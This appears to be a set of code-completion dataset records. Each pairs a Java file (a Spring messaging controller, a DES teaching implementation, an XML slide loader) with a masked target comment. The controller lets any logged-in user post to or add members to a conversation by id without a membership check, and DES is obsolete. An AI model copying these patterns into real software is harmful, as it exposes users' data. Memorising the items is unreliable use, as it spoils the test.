if (pos == len) break;
} else {
if (pos != 0) pos = curChar == sequence[0] ? 1 : 0;
}
}
}
private String readUntilSequence(char[] sequence) throws IOException {
int len = sequence.length;
if (len == 0) return "";
readBuffer.setLength(0);
int pos = 0;
int curChar;
while ((curChar = in.read()) != -1) {
readBuffer.append((char) curChar);
if (curChar == sequence[pos]) {
++pos;
if (pos == len) break;
} else {
if (pos != 0) pos = curChar == sequence[0] ? 1 : 0;
}
}
int buflen = readBuffer.length();
if (buflen >= len) {
readBuffer.setLength(buflen - len);
return readBuffer.toString();
} else {
return "";
}
}
public void close() throws IOException {
in.close();
}
}
}
|
51847_17 | package com.irongroup.teamproject.controllers;
import com.irongroup.teamproject.model.Conversation;
import com.irongroup.teamproject.model.FashUser;
import com.irongroup.teamproject.model.Message;
import com.irongroup.teamproject.repositories.ConversationRepository;
import com.irongroup.teamproject.repositories.MessageRepository;
import com.irongroup.teamproject.repositories.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import java.security.Principal;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
@Controller
public class MessageController {
@Autowired
UserRepository users;
@Autowired
ConversationRepository convos;
@Autowired
MessageRepository allMessages;
@GetMapping("/messages")
public String messagelist(Principal p, Model model) {
try {
//Kijken of de ingelogde user bestaat
FashUser loggedIn = users.findFashUserByUsername(p.getName());
//De volgers en volgende van de user toevoegen om nieuwe convos te starten
model.addAttribute("followers", loggedIn.findBoth());
//Alle convos opvragen van de user en daarna sorteren
List<Conversation> convos= loggedIn.getConversations();
Collections.sort(convos);
//Collections.reverse(convos);
model.addAttribute("convos", convos);
model.addAttribute("loggedIn",loggedIn);
return "user/messagelist";
} catch (Exception e) {
//e.printStackTrace();
return "redirect:/explorepage";
}
}
@GetMapping({"/messages/{id}"})
public String conversation(Principal p, Model model, @PathVariable Integer id, @RequestParam(required = false) String text) {
//Als er geen bericht gestuurd word
if (text == null || text.length() < 1) {
try {
//Gebruiker vinden die ingelogd is
FashUser loggedIn = users.findFashUserByUsername(p.getName());
//Eerst kijken of de conversatie al bestaat
//Convo vinden die gevraagd word
Conversation conversation = convos.findbyID(id);
if (conversation.getUsers().contains(loggedIn)) {
//Items op read zetten en opslaan in de database
conversation.forceOnRead(loggedIn);
loggedIn.forceOnRead(conversation);
convos.save(conversation);
users.save(loggedIn);
//Toevoegen aan het model enkel als de gebruiker toegang heeft tot de convo
model.addAttribute("convo", conversation);
model.addAttribute("loggedUser", loggedIn);
return "user/conversation";
} else {
System.out.println("we zitten hier!");
return "redirect:/explorepage";
}
} catch (Exception e) {
e.printStackTrace();
return "redirect:/explorepage";
}
} else {
try {
//Zoek de convo die een bericht moet ontvangen
Conversation convo = convos.findbyID(id);
//De verzender is altijd de persoon die aangemeld is aangezien hij degene is die deze actie aanroept
FashUser sender = users.findFashUserByUsername(p.getName());
//De ontvangers zoeken en de verstuurder eruit halen, anders ziet hij het bericht twee keer
Collection<FashUser> receivers = convo.getUsers();
receivers.remove(sender);
//Alle berichten opvragen van de convo
Collection<Message> messages = convo.getMessages();
//Het bericht aanmaken en opslaan in de message tabel
Message message = new Message(Math.toIntExact(allMessages.count()) + 1, convo, sender, receivers, text);
allMessages.save(message);
messages.add(message);
//Belangrijk, de messages setten en ook opslaan in de database;
convo.setMessages(messages);
//Alle receivers hebben sowieso niet gelezen
for (FashUser fu:receivers
) {
//Deze moeten geforceerd op niet gelzen gezet worden!
convo.forceNotRead(fu);
fu.forceNotRead(convo);
users.save(fu);
}
//Voor opslaan, de gebruiker er terug inzetten, anders kan hij de conversatie ni meer in!
receivers.add(sender);
convo.setUsers(receivers);
//Tijd van message veranderen voor sorteren
convo.setLastMessage(LocalDateTime.now());
//Dingen op gelezen/ongelezen zetten zetten
convo.forceOnRead(sender);
sender.forceOnRead(convo);
users.save(sender);
convos.save(convo);
} catch (Exception e) {
e.printStackTrace();
}
return "redirect:/messages/" + id;
}
}
@GetMapping("/checkconvo/{id}")
public String checkConvo(@PathVariable Integer id, Principal p) {
String dingetje = "/explorepage";
try {
//De twee gebruikers zoeken
FashUser loggedIn = users.findFashUserByUsername(p.getName());
FashUser newUser = users.findById(id).get();
//Als de gebruiker nog geen convo heeft met de gebruiker
if (!loggedIn.hasConvoWithUser(newUser)) {
//Een nieuwe convo maken en de nodige dingen doorgeven en opslaan
Conversation c = new Conversation();
ArrayList<FashUser> usersconvo=new ArrayList<>();
c.setConvoNaam(newUser.getUsername());
usersconvo.add(loggedIn);
usersconvo.add(newUser);
c.setUsers(usersconvo);
loggedIn.addConvo(c);
newUser.addConvo(c);
//Dingen opslaan !!!
convos.save(c);
users.save(loggedIn);
users.save(newUser);
dingetje = "redirect:/messages/" + c.getId();
} else {
//System.out.println("We zijn hier");
dingetje = "redirect:/messages/" + loggedIn.conversationWith(newUser).getId();
}
} catch (Exception e) {
//e.printStackTrace();
return "/profilepage";
}
return dingetje;
}
@GetMapping("/adduser/{convoID}")
public String newConvo(Principal p,@RequestParam Integer id,@PathVariable Integer convoID) {
try {
Conversation currentc=convos.findbyID(convoID);
//Als een convo al meer dan 2 users heeft, geen nieuwe maken maar gebruiker toevoegen aan huidige
if(currentc.getUsers().size()>2){
currentc.addUser(users.findById(id).get());
currentc.setConvoNaam(currentc.getConvoNaam()+users.findById(id).get().getUsername()+",");
users.findById(id).get().addConvo(currentc);
convos.save(currentc);
return "redirect:/messages/"+currentc.getId();
}else if(currentc.getUsers().size()<=2){
//Anders wel een nieuwe convo maken
Conversation c = new Conversation();
String naam= "";
//De gebruikers van de huidige convo toevoegen aan de nieuwe convo
for (FashUser u: currentc.getUsers()
) {
c.addUser(u);
u.addConvo(c);
naam = naam + u.username+",";
}
//De nieuwe user toevoegen
c.addUser(users.findById(id).get());
//Aan de nieuwe user de convo toevoegen
users.findById(id).get().addConvo(c);
c.setConvoNaam(naam);
//Dingen opslaan !!!
convos.save(c);
return "redirect:/messages/"+c.getId();
}
else{
return "redirect:/explorepage";
}
} catch (Exception e) {
e.printStackTrace();
return "redirect:/messages";
}
}
}
| AlleeElias/team-4-java | src/main/java/com/irongroup/teamproject/controllers/MessageController.java | 2,408 | //Voor opslaan, de gebruiker er terug inzetten, anders kan hij de conversatie ni meer in! | line_comment | nl | package com.irongroup.teamproject.controllers;
import com.irongroup.teamproject.model.Conversation;
import com.irongroup.teamproject.model.FashUser;
import com.irongroup.teamproject.model.Message;
import com.irongroup.teamproject.repositories.ConversationRepository;
import com.irongroup.teamproject.repositories.MessageRepository;
import com.irongroup.teamproject.repositories.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import java.security.Principal;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.List;
@Controller
public class MessageController {
@Autowired
UserRepository users;
@Autowired
ConversationRepository convos;
@Autowired
MessageRepository allMessages;
@GetMapping("/messages")
public String messagelist(Principal p, Model model) {
try {
//Kijken of de ingelogde user bestaat
FashUser loggedIn = users.findFashUserByUsername(p.getName());
//De volgers en volgende van de user toevoegen om nieuwe convos te starten
model.addAttribute("followers", loggedIn.findBoth());
//Alle convos opvragen van de user en daarna sorteren
List<Conversation> convos= loggedIn.getConversations();
Collections.sort(convos);
//Collections.reverse(convos);
model.addAttribute("convos", convos);
model.addAttribute("loggedIn",loggedIn);
return "user/messagelist";
} catch (Exception e) {
//e.printStackTrace();
return "redirect:/explorepage";
}
}
@GetMapping({"/messages/{id}"})
public String conversation(Principal p, Model model, @PathVariable Integer id, @RequestParam(required = false) String text) {
//Als er geen bericht gestuurd word
if (text == null || text.length() < 1) {
try {
//Gebruiker vinden die ingelogd is
FashUser loggedIn = users.findFashUserByUsername(p.getName());
//Eerst kijken of de conversatie al bestaat
//Convo vinden die gevraagd word
Conversation conversation = convos.findbyID(id);
if (conversation.getUsers().contains(loggedIn)) {
//Items op read zetten en opslaan in de database
conversation.forceOnRead(loggedIn);
loggedIn.forceOnRead(conversation);
convos.save(conversation);
users.save(loggedIn);
//Toevoegen aan het model enkel als de gebruiker toegang heeft tot de convo
model.addAttribute("convo", conversation);
model.addAttribute("loggedUser", loggedIn);
return "user/conversation";
} else {
System.out.println("we zitten hier!");
return "redirect:/explorepage";
}
} catch (Exception e) {
e.printStackTrace();
return "redirect:/explorepage";
}
} else {
try {
//Zoek de convo die een bericht moet ontvangen
Conversation convo = convos.findbyID(id);
//De verzender is altijd de persoon die aangemeld is aangezien hij degene is die deze actie aanroept
FashUser sender = users.findFashUserByUsername(p.getName());
//De ontvangers zoeken en de verstuurder eruit halen, anders ziet hij het bericht twee keer
Collection<FashUser> receivers = convo.getUsers();
receivers.remove(sender);
//Alle berichten opvragen van de convo
Collection<Message> messages = convo.getMessages();
//Het bericht aanmaken en opslaan in de message tabel
Message message = new Message(Math.toIntExact(allMessages.count()) + 1, convo, sender, receivers, text);
allMessages.save(message);
messages.add(message);
//Belangrijk, de messages setten en ook opslaan in de database;
convo.setMessages(messages);
//Alle receivers hebben sowieso niet gelezen
for (FashUser fu:receivers
) {
//Deze moeten geforceerd op niet gelzen gezet worden!
convo.forceNotRead(fu);
fu.forceNotRead(convo);
users.save(fu);
}
//Voor opslaan,<SUF>
receivers.add(sender);
convo.setUsers(receivers);
//Tijd van message veranderen voor sorteren
convo.setLastMessage(LocalDateTime.now());
//Dingen op gelezen/ongelezen zetten zetten
convo.forceOnRead(sender);
sender.forceOnRead(convo);
users.save(sender);
convos.save(convo);
} catch (Exception e) {
e.printStackTrace();
}
return "redirect:/messages/" + id;
}
}
@GetMapping("/checkconvo/{id}")
public String checkConvo(@PathVariable Integer id, Principal p) {
String dingetje = "/explorepage";
try {
//De twee gebruikers zoeken
FashUser loggedIn = users.findFashUserByUsername(p.getName());
FashUser newUser = users.findById(id).get();
//Als de gebruiker nog geen convo heeft met de gebruiker
if (!loggedIn.hasConvoWithUser(newUser)) {
//Een nieuwe convo maken en de nodige dingen doorgeven en opslaan
Conversation c = new Conversation();
ArrayList<FashUser> usersconvo=new ArrayList<>();
c.setConvoNaam(newUser.getUsername());
usersconvo.add(loggedIn);
usersconvo.add(newUser);
c.setUsers(usersconvo);
loggedIn.addConvo(c);
newUser.addConvo(c);
//Dingen opslaan !!!
convos.save(c);
users.save(loggedIn);
users.save(newUser);
dingetje = "redirect:/messages/" + c.getId();
} else {
//System.out.println("We zijn hier");
dingetje = "redirect:/messages/" + loggedIn.conversationWith(newUser).getId();
}
} catch (Exception e) {
//e.printStackTrace();
return "/profilepage";
}
return dingetje;
}
@GetMapping("/adduser/{convoID}")
public String newConvo(Principal p,@RequestParam Integer id,@PathVariable Integer convoID) {
try {
Conversation currentc=convos.findbyID(convoID);
//Als een convo al meer dan 2 users heeft, geen nieuwe maken maar gebruiker toevoegen aan huidige
if(currentc.getUsers().size()>2){
currentc.addUser(users.findById(id).get());
currentc.setConvoNaam(currentc.getConvoNaam()+users.findById(id).get().getUsername()+",");
users.findById(id).get().addConvo(currentc);
convos.save(currentc);
return "redirect:/messages/"+currentc.getId();
}else if(currentc.getUsers().size()<=2){
//Anders wel een nieuwe convo maken
Conversation c = new Conversation();
String naam= "";
//De gebruikers van de huidige convo toevoegen aan de nieuwe convo
for (FashUser u: currentc.getUsers()
) {
c.addUser(u);
u.addConvo(c);
naam = naam + u.username+",";
}
//De nieuwe user toevoegen
c.addUser(users.findById(id).get());
//Aan de nieuwe user de convo toevoegen
users.findById(id).get().addConvo(c);
c.setConvoNaam(naam);
//Dingen opslaan !!!
convos.save(c);
return "redirect:/messages/"+c.getId();
}
else{
return "redirect:/explorepage";
}
} catch (Exception e) {
e.printStackTrace();
return "redirect:/messages";
}
}
}
|
104020_5 | package des;
import java.util.BitSet;
/**
* Author: allight
*/
public class Des {
public static final boolean LITTLE_ENDIAN = true;
public static final boolean BIG_ENDIAN = false;
private static final char HIGH_PART_CHAR_MASK = 0xFF00;
private static final char LOW_PART_CHAR_MASK = 0x00FF;
protected static final int FEISTEL_CYCLES_NUM = 16;
private static final int[] INITIAL_PERMUTATION_TABLE = {
57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6
};
private Block initialPermutation(Block inputBlock) {
BitSet result = new BitSet(Block.LENGTH);
for (int i = 0; i < Block.LENGTH; ++i)
result.set(i, inputBlock.get(INITIAL_PERMUTATION_TABLE[i]));
return new Block(result);
}
private Block finalPermutation(Block inputBlock) {
BitSet result = new BitSet(Block.LENGTH);
for (int i = 0; i < Block.LENGTH; ++i)
result.set(INITIAL_PERMUTATION_TABLE[i], inputBlock.get(i));
return new Block(result);
}
public BitSet encrypt(BitSet input, Key key) {
int size = input.size();
BitSet output = new BitSet(size);
for (int i = 0; i < size; i += Block.LENGTH) {
Block block = new Block(input.get(i, i + Block.LENGTH));
// printBin("block", block.get(), true, 64);
// printBin("IP", initialPermutation(block).get(), true, 64);
PairLR t = new PairLR(initialPermutation(block));
for (int j = 0; j < FEISTEL_CYCLES_NUM; j++) {
// printBin("L" + j, t.getLeft().get(), true, 32);
// printBin("R" + j, t.getRight().get(), true, 32);
// printHex("L" + j, t.getLeft().get(), true, 32);
// printHex("R" + j, t.getRight().get(), true, 32);
t = feistelCell(t, key.nextSubKey());
}
// printBin("L16", t.getLeft().get(), true, 32);
// printBin("R16", t.getRight().get(), true, 32);
block = finalPermutation(new Block(t.swap()));
for (int j = i, k = 0; k < Block.LENGTH; j++, k++)
output.set(j, block.get(k));
}
return output;
}
public BitSet decrypt(BitSet input, Key key) {
int size = input.size();
BitSet output = new BitSet(size);
for (int i = 0; i < size; i += Block.LENGTH) {
Block block = new Block(input.get(i, i + Block.LENGTH));
PairLR t = new PairLR(initialPermutation(block)).swap();
for (int j = 0; j < FEISTEL_CYCLES_NUM; j++) {
t = feistelCellInverse(t, key.prevSubKey());
}
block = finalPermutation(new Block(t));
for (int j = i, k = 0; k < Block.LENGTH; j++, k++)
output.set(j, block.get(k));
}
return output;
}
private PairLR feistelCell(PairLR tPrev, ExtHalfBlock key) {
HalfBlock lNext = tPrev.getRight();
BitSet rNext = tPrev.getLeft().get();
rNext.xor(feistelEncrypt(tPrev.getRight(), key).get());
return new PairLR(lNext, new HalfBlock(rNext));
}
private PairLR feistelCellInverse(PairLR tNext, ExtHalfBlock key) {
HalfBlock rPrev = tNext.getLeft();
BitSet lPrev = tNext.getRight().get();
lPrev.xor(feistelEncrypt(tNext.getLeft(), key).get());
return new PairLR(new HalfBlock(lPrev), rPrev);
}
private HalfBlock feistelEncrypt(HalfBlock rPrev, ExtHalfBlock key) {
// printBin("\tK ", key.get(), true, 48);
// printBin("\tRpr", rPrev.get(), true, 32);
ExtHalfBlock r = new ExtHalfBlock(rPrev);
// printBin("\tEr ", r.get(), true, 48);
r.get().xor(key.get());
// printBin("\tK+E", r.get(), true, 48);
HalfBlock hb = new HalfBlock(r);
// printBin("\tSB ", hb.get(), true, 32);
// printBin("\tP ", hb.permutation().get(), true, 32);
return hb.permutation();
}
public static byte[] stringToBytes(String str) {
char[] buffer = str.toCharArray();
int length = buffer.length;
byte[] b = new byte[length << 1];
for (int i = 0; i < length; i++) {
int bPos = i << 1;
b[bPos] = (byte) ((buffer[i] & HIGH_PART_CHAR_MASK) >> 8);
b[bPos + 1] = (byte) (buffer[i] & LOW_PART_CHAR_MASK);
}
return b;
}
public static String bytesToString(byte[] bytes) {
char[] buffer = new char[bytes.length >> 1];
int length = buffer.length;
for (int i = 0; i < length; i++) {
int bPos = i << 1;
buffer[i] = (char) (((bytes[bPos] & LOW_PART_CHAR_MASK) << 8) +
(bytes[bPos + 1] & LOW_PART_CHAR_MASK));
}
return new String(buffer);
}
public String encryptString(String input, Key key) {
BitSet inputBitSet = BitSet.valueOf(stringToBytes(input));
BitSet outputBitSet = encrypt(inputBitSet, key);
assert (inputBitSet.size() == outputBitSet.size());
return bytesToString(outputBitSet.toByteArray());
}
public String decryptString(String input, Key key) {
BitSet inputBitSet = BitSet.valueOf(stringToBytes(input));
BitSet outputBitSet = decrypt(inputBitSet, key);
assert (inputBitSet.size() == outputBitSet.size());
return bytesToString(outputBitSet.toByteArray());
}
protected static BitSet swapDirection(BitSet in, int size) {
BitSet result = new BitSet(size);
for (int i = 0, j = size - 1; j >= 0; i++, j--)
result.set(i, in.get(j));
return result;
}
public static void printHex(String name, BitSet bs, boolean reverse, int BitSize) {
if (reverse)
bs = swapDirection(bs, BitSize);
String s = String.format("%" + BitSize / 4 + "s", Long.toHexString(bs.cardinality() == 0 ? 0x0L : bs.toLongArray()[0])).replace(' ', '0');
System.out.println(name + " = " + s);
}
public static void printBin(String name, BitSet bs, boolean reverse, int bitSize) {
if (reverse)
bs = swapDirection(bs, bitSize);
String s = String.format("%" + bitSize + "s", Long.toBinaryString(bs.cardinality() == 0 ? 0x0L : bs.toLongArray()[0])).replace(' ', '0');
System.out.println(name + " = " + s);
}
}
| Allight7/ru.ifmo.cryptography.des | src/main/java/des/Des.java | 2,310 | // printHex("L" + j, t.getLeft().get(), true, 32); | line_comment | nl | package des;
import java.util.BitSet;
/**
* Author: allight
*/
public class Des {
public static final boolean LITTLE_ENDIAN = true;
public static final boolean BIG_ENDIAN = false;
private static final char HIGH_PART_CHAR_MASK = 0xFF00;
private static final char LOW_PART_CHAR_MASK = 0x00FF;
protected static final int FEISTEL_CYCLES_NUM = 16;
private static final int[] INITIAL_PERMUTATION_TABLE = {
57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7,
56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6
};
private Block initialPermutation(Block inputBlock) {
BitSet result = new BitSet(Block.LENGTH);
for (int i = 0; i < Block.LENGTH; ++i)
result.set(i, inputBlock.get(INITIAL_PERMUTATION_TABLE[i]));
return new Block(result);
}
private Block finalPermutation(Block inputBlock) {
BitSet result = new BitSet(Block.LENGTH);
for (int i = 0; i < Block.LENGTH; ++i)
result.set(INITIAL_PERMUTATION_TABLE[i], inputBlock.get(i));
return new Block(result);
}
public BitSet encrypt(BitSet input, Key key) {
int size = input.size();
BitSet output = new BitSet(size);
for (int i = 0; i < size; i += Block.LENGTH) {
Block block = new Block(input.get(i, i + Block.LENGTH));
// printBin("block", block.get(), true, 64);
// printBin("IP", initialPermutation(block).get(), true, 64);
PairLR t = new PairLR(initialPermutation(block));
for (int j = 0; j < FEISTEL_CYCLES_NUM; j++) {
// printBin("L" + j, t.getLeft().get(), true, 32);
// printBin("R" + j, t.getRight().get(), true, 32);
// printHex("L" +<SUF>
// printHex("R" + j, t.getRight().get(), true, 32);
t = feistelCell(t, key.nextSubKey());
}
// printBin("L16", t.getLeft().get(), true, 32);
// printBin("R16", t.getRight().get(), true, 32);
block = finalPermutation(new Block(t.swap()));
for (int j = i, k = 0; k < Block.LENGTH; j++, k++)
output.set(j, block.get(k));
}
return output;
}
public BitSet decrypt(BitSet input, Key key) {
int size = input.size();
BitSet output = new BitSet(size);
for (int i = 0; i < size; i += Block.LENGTH) {
Block block = new Block(input.get(i, i + Block.LENGTH));
PairLR t = new PairLR(initialPermutation(block)).swap();
for (int j = 0; j < FEISTEL_CYCLES_NUM; j++) {
t = feistelCellInverse(t, key.prevSubKey());
}
block = finalPermutation(new Block(t));
for (int j = i, k = 0; k < Block.LENGTH; j++, k++)
output.set(j, block.get(k));
}
return output;
}
private PairLR feistelCell(PairLR tPrev, ExtHalfBlock key) {
HalfBlock lNext = tPrev.getRight();
BitSet rNext = tPrev.getLeft().get();
rNext.xor(feistelEncrypt(tPrev.getRight(), key).get());
return new PairLR(lNext, new HalfBlock(rNext));
}
private PairLR feistelCellInverse(PairLR tNext, ExtHalfBlock key) {
HalfBlock rPrev = tNext.getLeft();
BitSet lPrev = tNext.getRight().get();
lPrev.xor(feistelEncrypt(tNext.getLeft(), key).get());
return new PairLR(new HalfBlock(lPrev), rPrev);
}
private HalfBlock feistelEncrypt(HalfBlock rPrev, ExtHalfBlock key) {
// printBin("\tK ", key.get(), true, 48);
// printBin("\tRpr", rPrev.get(), true, 32);
ExtHalfBlock r = new ExtHalfBlock(rPrev);
// printBin("\tEr ", r.get(), true, 48);
r.get().xor(key.get());
// printBin("\tK+E", r.get(), true, 48);
HalfBlock hb = new HalfBlock(r);
// printBin("\tSB ", hb.get(), true, 32);
// printBin("\tP ", hb.permutation().get(), true, 32);
return hb.permutation();
}
public static byte[] stringToBytes(String str) {
char[] buffer = str.toCharArray();
int length = buffer.length;
byte[] b = new byte[length << 1];
for (int i = 0; i < length; i++) {
int bPos = i << 1;
b[bPos] = (byte) ((buffer[i] & HIGH_PART_CHAR_MASK) >> 8);
b[bPos + 1] = (byte) (buffer[i] & LOW_PART_CHAR_MASK);
}
return b;
}
public static String bytesToString(byte[] bytes) {
char[] buffer = new char[bytes.length >> 1];
int length = buffer.length;
for (int i = 0; i < length; i++) {
int bPos = i << 1;
buffer[i] = (char) (((bytes[bPos] & LOW_PART_CHAR_MASK) << 8) +
(bytes[bPos + 1] & LOW_PART_CHAR_MASK));
}
return new String(buffer);
}
public String encryptString(String input, Key key) {
BitSet inputBitSet = BitSet.valueOf(stringToBytes(input));
BitSet outputBitSet = encrypt(inputBitSet, key);
assert (inputBitSet.size() == outputBitSet.size());
return bytesToString(outputBitSet.toByteArray());
}
public String decryptString(String input, Key key) {
BitSet inputBitSet = BitSet.valueOf(stringToBytes(input));
BitSet outputBitSet = decrypt(inputBitSet, key);
assert (inputBitSet.size() == outputBitSet.size());
return bytesToString(outputBitSet.toByteArray());
}
protected static BitSet swapDirection(BitSet in, int size) {
BitSet result = new BitSet(size);
for (int i = 0, j = size - 1; j >= 0; i++, j--)
result.set(i, in.get(j));
return result;
}
public static void printHex(String name, BitSet bs, boolean reverse, int BitSize) {
if (reverse)
bs = swapDirection(bs, BitSize);
String s = String.format("%" + BitSize / 4 + "s", Long.toHexString(bs.cardinality() == 0 ? 0x0L : bs.toLongArray()[0])).replace(' ', '0');
System.out.println(name + " = " + s);
}
public static void printBin(String name, BitSet bs, boolean reverse, int bitSize) {
if (reverse)
bs = swapDirection(bs, bitSize);
String s = String.format("%" + bitSize + "s", Long.toBinaryString(bs.cardinality() == 0 ? 0x0L : bs.toLongArray()[0])).replace(' ', '0');
System.out.println(name + " = " + s);
}
}
|
111127_24 | package main.java.Accessor;
import main.java.Presentation.Presentation;
import main.java.Slide.*;
import java.util.Vector;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.FileWriter;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.NodeList;
public class XMLAccessor extends Accessor
{
// Api om te gebruiken
protected static final String DEFAULT_API_TO_USE = "dom";
// XML tags
protected static final String SHOWTITLE = "showtitle";
protected static final String SLIDETITLE = "title";
protected static final String SLIDE = "slide";
protected static final String ITEM = "item";
protected static final String LEVEL = "level";
protected static final String KIND = "kind";
protected static final String TEXT = "text";
protected static final String IMAGE = "image";
// Error berichten
protected static final String PCE = "Parser Configuration Exception";
protected static final String UNKNOWNTYPE = "Unknown Element type";
protected static final String NFE = "Number Format Exception";
// Geeft de titel van een element terug
private String getTitle(Element element, String tagName)
{
NodeList titles = element.getElementsByTagName(tagName);
return titles.item(0).getTextContent();
}
// Laad een bestand
@Override
public void loadFile(Presentation presentation, String filename) throws IOException
{
// Variabelen
int slideNumber;
int itemNumber;
int maxSlides = 0;
int maxItems = 0;
try
{
// Maakt een document builder
DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
// Maakt een JDOM document
Document document = builder.parse(new File(filename));
// Haalt de root element op
Element documentElement = document.getDocumentElement();
// Haalt de titel van de presentatie op
presentation.setTitle(this.getTitle(documentElement, SHOWTITLE));
// Haalt de slides op
NodeList slides = documentElement.getElementsByTagName(SLIDE);
maxSlides = slides.getLength();
// Voor elke slide in de presentatie wordt de slide geladen
for (slideNumber = 0; slideNumber < maxSlides; slideNumber++)
{
// Haalt de slide op
Element xmlSlide = (Element) slides.item(slideNumber);
Slide slide = new Slide();
slide.setTitle(this.getTitle(xmlSlide, SLIDETITLE));
presentation.append(slide);
// Haalt de items op
NodeList slideItems = xmlSlide.getElementsByTagName(ITEM);
maxItems = slideItems.getLength();
// Voor elk item in de slide wordt het item geladen
for (itemNumber = 0; itemNumber < maxItems; itemNumber++)
{
Element item = (Element) slideItems.item(itemNumber);
this.loadSlideItem(slide, item);
}
}
}
catch (IOException ioException)
{
System.err.println(ioException.toString());
}
catch (SAXException saxException)
{
System.err.println(saxException.getMessage());
}
catch (ParserConfigurationException parcerConfigurationException)
{
System.err.println(PCE);
}
}
// Laad een slide item
protected void loadSlideItem(Slide slide, Element item)
{
// Standaard level is 1
int level = 1;
// Haalt de attributen op
NamedNodeMap attributes = item.getAttributes();
String leveltext = attributes.getNamedItem(LEVEL).getTextContent();
// Als er een level is, wordt deze geparsed
if (leveltext != null)
{
try
{
level = Integer.parseInt(leveltext);
}
catch (NumberFormatException numberFormatException)
{
System.err.println(NFE);
}
}
// Haalt het type op
String type = attributes.getNamedItem(KIND).getTextContent();
if (TEXT.equals(type))
{
slide.append(new TextItem(level, item.getTextContent()));
}
else
{
// Als het type een afbeelding is, wordt deze toegevoegd
if (IMAGE.equals(type))
{
slide.append(new BitmapItem(level, item.getTextContent()));
}
else
{
System.err.println(UNKNOWNTYPE);
}
}
}
// Slaat een presentatie op naar het gegeven bestand
@Override
public void saveFile(Presentation presentation, String filename) throws IOException
{
// Maakt een printwriter
PrintWriter out = new PrintWriter(new FileWriter(filename));
// Schrijft de XML header
out.println("<?xml version=\"1.0\"?>");
out.println("<!DOCTYPE presentation SYSTEM \"jabberpoint.dtd\">");
// Schrijft de presentatie
out.println("<presentation>");
out.print("<showtitle>");
out.print(presentation.getTitle());
out.println("</showtitle>");
// Voor elke slide in de presentatie wordt de slide opgeslagen
for (int slideNumber = 0; slideNumber < presentation.getSize(); slideNumber++)
{
// Haalt de slide op
Slide slide = presentation.getSlide(slideNumber);
// Schrijft de slide
out.println("<slide>");
out.println("<title>" + slide.getTitle() + "</title>");
// Voor elk item in de slide wordt het item opgeslagen
Vector<SlideItem> slideItems = slide.getSlideItems();
for (int itemNumber = 0; itemNumber < slideItems.size(); itemNumber++)
{
// Haalt het item op
SlideItem slideItem = (SlideItem) slideItems.elementAt(itemNumber);
out.print("<item kind=");
// Als het item een tekst item is, wordt deze opgeslagen
if (slideItem instanceof TextItem)
{
out.print("\"text\" level=\"" + slideItem.getLevel() + "\">");
out.print(((TextItem) slideItem).getText());
}
else
{
// Als het item een afbeelding is, wordt deze opgeslagen
if (slideItem instanceof BitmapItem)
{
out.print("\"image\" level=\"" + slideItem.getLevel() + "\">");
out.print(((BitmapItem) slideItem).getName());
}
else
{
System.out.println("Ignoring " + slideItem);
}
}
out.println("</item>");
}
out.println("</slide>");
}
out.println("</presentation>");
out.close();
}
}
| AmanTrechsel/JabberPoint | src/main/java/Accessor/XMLAccessor.java | 1,921 | // Schrijft de slide | line_comment | nl | package main.java.Accessor;
import main.java.Presentation.Presentation;
import main.java.Slide.*;
import java.util.Vector;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.FileWriter;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.NodeList;
public class XMLAccessor extends Accessor
{
// Api om te gebruiken
protected static final String DEFAULT_API_TO_USE = "dom";
// XML tags
protected static final String SHOWTITLE = "showtitle";
protected static final String SLIDETITLE = "title";
protected static final String SLIDE = "slide";
protected static final String ITEM = "item";
protected static final String LEVEL = "level";
protected static final String KIND = "kind";
protected static final String TEXT = "text";
protected static final String IMAGE = "image";
// Error berichten
protected static final String PCE = "Parser Configuration Exception";
protected static final String UNKNOWNTYPE = "Unknown Element type";
protected static final String NFE = "Number Format Exception";
// Geeft de titel van een element terug
private String getTitle(Element element, String tagName)
{
NodeList titles = element.getElementsByTagName(tagName);
return titles.item(0).getTextContent();
}
// Laad een bestand
@Override
public void loadFile(Presentation presentation, String filename) throws IOException
{
// Variabelen
int slideNumber;
int itemNumber;
int maxSlides = 0;
int maxItems = 0;
try
{
// Maakt een document builder
DocumentBuilder builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
// Maakt een JDOM document
Document document = builder.parse(new File(filename));
// Haalt de root element op
Element documentElement = document.getDocumentElement();
// Haalt de titel van de presentatie op
presentation.setTitle(this.getTitle(documentElement, SHOWTITLE));
// Haalt de slides op
